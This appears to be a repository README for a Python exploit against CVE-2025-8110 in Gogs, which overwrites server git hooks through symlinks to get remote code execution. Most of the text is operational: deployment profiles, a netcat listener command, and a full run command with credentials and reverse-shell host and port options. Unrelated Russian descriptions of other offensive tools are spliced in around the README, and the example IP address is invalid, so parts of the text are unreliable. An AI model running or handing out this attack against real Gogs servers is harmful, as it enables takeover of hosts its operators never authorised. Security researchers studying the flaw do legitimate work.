
Python PoC exploit for CVE-2025-8110, abusing Gogs symlink handling via the Contents API to overwrite hooks and achieve authenticated remote code execution.

Фреймворк для эксплуатации с открытым исходным кодом, включающий модульные полезные нагрузки, кодировщик и вспомогательную систему для тестирования на проникновение, проверки уязвимостей и исследований в области безопасности в сетях и приложениях.

Генерирует позиционно-независимый шелл-код для x86, x64 или AMD64+x86, который загружает сборки .NET, PE-файлы и другие полезные нагрузки Windows из памяти и запускает их с параметрами.

CVE-2025-8110 is a critical vulnerability affecting Gogs (a painless self-hosted Git service). The flaw stems from insufficient validation when handling file operations and Git features combined with the Gogs Contents API.
An authenticated attacker can leverage Git symbolic links (symlinks) inside a repository. By pushing a repository containing a symbolic link pointing to sensitive system or repository paths (such as repository post-receive hooks, SSH authorized_keys, or cron files) and writing through the Gogs API, an attacker can overwrite critical server files. This results in Remote Code Execution (RCE) on the host running Gogs.
The script supports multiple server layout configurations via the --deploy argument:
docker: Official Gogs Docker container (/data)linux-pkg: Package installation (.deb / .rpm under git user)linux-src: Built from source under gogs userroot, home, opt: Common alternative installation pathscustom: Fully custom paths using --repo-base and --gogs-homeEnsure Python 3 and the requests library are installed:
pip install requests
You can run the exploit script against a target Gogs instance using the options below:
python3 CVE-2025-8110.py --url <GOGS_URL> -u <USERNAME> -p <PASSWORD> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>
-url: The base URL of the target Gogs instance (e.g., https://target-gogs.com).
-u, --username: Gogs username for authentication.
-p, --password: Gogs password.
--register: Automatically register the user account on the target before running the exploit.
-lh, --lhost: Local host / listener IP for the reverse shell.
-lp, --lport: Local port for the listener.
--deploy: The server deployment profile (docker, linux-pkg, linux-src, root, home, opt, or custom). Defaults to docker.
-v, --verbose: Enable verbose output to inspect candidate paths and debug logs.
Start a netcat listener on your machine:
nc -lvnp 4444
Run the exploit against your target:
python3 CVE-2025-8110.py --url "https://target-gogs.com" -u gogs -p BestS3cure123! --register -lh 10.10.17.272 -lp 4444 --deploy docker -v
The information and script provided in this repository are strictly for educational purposes, authorized security testing, and defensive research. The author and contributors assume no liability and are not responsible for any misuse or damage caused by this material. Users must ensure they have explicit, written permission from the system owners prior to testing or interacting with any environment.
Реализация Reflective DLL Injection в виде шелл-кода. Преобразование DLL в позиционно-независимый шелл-код.